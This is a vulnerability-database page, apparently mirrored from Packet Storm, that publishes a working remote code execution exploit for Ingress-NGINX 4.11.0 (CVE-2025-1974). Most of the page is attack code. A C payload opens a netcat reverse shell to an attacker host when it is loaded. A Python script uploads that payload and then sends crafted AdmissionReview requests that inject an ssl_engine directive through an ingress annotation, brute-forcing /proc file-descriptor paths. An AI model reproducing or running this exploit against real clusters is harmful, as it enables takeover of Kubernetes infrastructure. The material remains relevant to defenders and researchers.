Lucene search
K

📄 Ingress-NGINX 4.11.0 Remote Code Execution

🗓️ 20 Jun 2025 00:00:00Reported by Likhith AppalaneniType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 92 Views

Ingress NGINX version 4.11.0 suffers remote code execution via crafted admission requests.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM InfoSphere Information Server is affected by multiple vulnerabilities in ingress-nginx
14 Apr 202515:17
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM API Connect
29 Apr 202502:40
ibm
GithubExploit
Exploit for CVE-2025-1974
19 May 202514:51
githubexploit
GithubExploit
Exploit for CVE-2025-1974
27 Apr 202505:07
githubexploit
GithubExploit
Exploit for CVE-2025-1974
26 Mar 202506:43
githubexploit
GithubExploit
Exploit for CVE-2025-1974
25 Mar 202513:23
githubexploit
GithubExploit
Exploit for CVE-2025-1974
26 Mar 202516:54
githubexploit
GithubExploit
Exploit for CVE-2025-1974
26 Mar 202514:49
githubexploit
GithubExploit
Exploit for CVE-2025-1974
26 Apr 202502:30
githubexploit
GithubExploit
Exploit for Incorrect Default Permissions in Amazon Amplify_Cli
18 Mar 202623:51
githubexploit
Rows per page
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
    # Google Dork: N/A
    # Date: 2025-06-19
    # Exploit Author: Likhith Appalaneni
    # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
    # Software Link: https://github.com/kubernetes/ingress-nginx
    # Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
    # Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
    # CVE : CVE-2025-1974
    
    1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
    gcc -fPIC -shared -o shell.so shell.c
    
    2) Run the exploit:
    python3 exploit.py
    
    The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
    
    <---> shell.c <--->
    
    #include <stdlib.h>
    __attribute__((constructor)) void init() {
       system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); 
    }
    
    <---> shell.c <--->
    <---> exploit.py <--->
    
    import json
    import requests
    import threading
    import time
    import urllib3
    import socket
    import argparse
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def upload_shell_via_socket(file_path, target_host, target_port):
        print("[*] Uploading shell.so via raw socket to keep FD open...")
        try:
            with open(file_path, "rb") as f:
                data = f.read()
            data += b"\x00" * (16384 - len(data) % 16384)
            content_len = len(data) + 2024
    
            payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
    
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target_host, target_port))
            sock.sendall(payload)
            print("[*] Payload sent, holding connection open for 220s...")
            time.sleep(220)
            sock.close()
        except Exception as e:
            print(f"[!] Upload failed: {e}")
    
    def build_payload(pid, fd):
        annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
        return {
            "kind": "AdmissionReview",
            "apiVersion": "admission.k8s.io/v1",
            "request": {
                "uid": "exploit-uid",
                "kind": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "kind": "Ingress"
                },
                "resource": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "resource": "ingresses"
                },
                "requestKind": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "kind": "Ingress"
                },
                "requestResource": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "resource": "ingresses"
                },
                "name": "example-ingress",
                "operation": "CREATE",
                "userInfo": {
                    "username": "kube-review",
                    "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
                },
                "object": {
                    "kind": "Ingress",
                    "apiVersion": "networking.k8s.io/v1",
                    "metadata": {
                        "name": "example-ingress",
                        "annotations": {
                            "nginx.ingress.kubernetes.io/auth-url": annotation
                        }
                    },
                    "spec": {
                        "ingressClassName": "nginx",
                        "rules": [
                            {
                                "host": "hello-world.com",
                                "http": {
                                    "paths": [
                                        {
                                            "path": "/",
                                            "pathType": "Prefix",
                                            "backend": {
                                                "service": {
                                                    "name": "web",
                                                    "port": { "number": 8080 }
                                                }
                                            }
                                        }
                                    ]
                                }
                            }
                        ]
                    }
                },
                "oldObject": None,
                "dryRun": False,
                "options": {
                    "kind": "CreateOptions",
                    "apiVersion": "meta.k8s.io/v1"
                }
            }
        }
    
    def send_requests(admission_url, pid_range, fd_range):
        for pid in range(pid_range[0], pid_range[1]):
            for fd in range(fd_range[0], fd_range[1]):
                print(f"Trying /proc/{pid}/fd/{fd}")
                payload = build_payload(pid, fd)
                try:
                    resp = requests.post(
                        f"{admission_url}/networking/v1/ingresses",
                        headers={"Content-Type": "application/json"},
                        data=json.dumps(payload),
                        verify=False,
                        timeout=5
                    )
                    result = resp.json()
                    msg = result.get("response", {}).get("status", {}).get("message", "")
                    if "No such file" in msg or "Permission denied" in msg:
                        continue
                    print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
                except Exception as e:
                    print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
        parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
        parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
        parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
        parser.add_argument("--pid-start", type=int, default=26)
        parser.add_argument("--pid-end", type=int, default=30)
        parser.add_argument("--fd-start", type=int, default=1)
        parser.add_argument("--fd-end", type=int, default=100)
        args = parser.parse_args()
    
        host = args.upload_url.split("://")[-1].split(":")[0]
        port = int(args.upload_url.split(":")[-1])
    
        upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
        upload_thread.start()
        time.sleep(3)
        send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
        upload_thread.join()
    
    <---> exploit.py <--->

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2025 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.8
EPSS0.91918
SSVC
92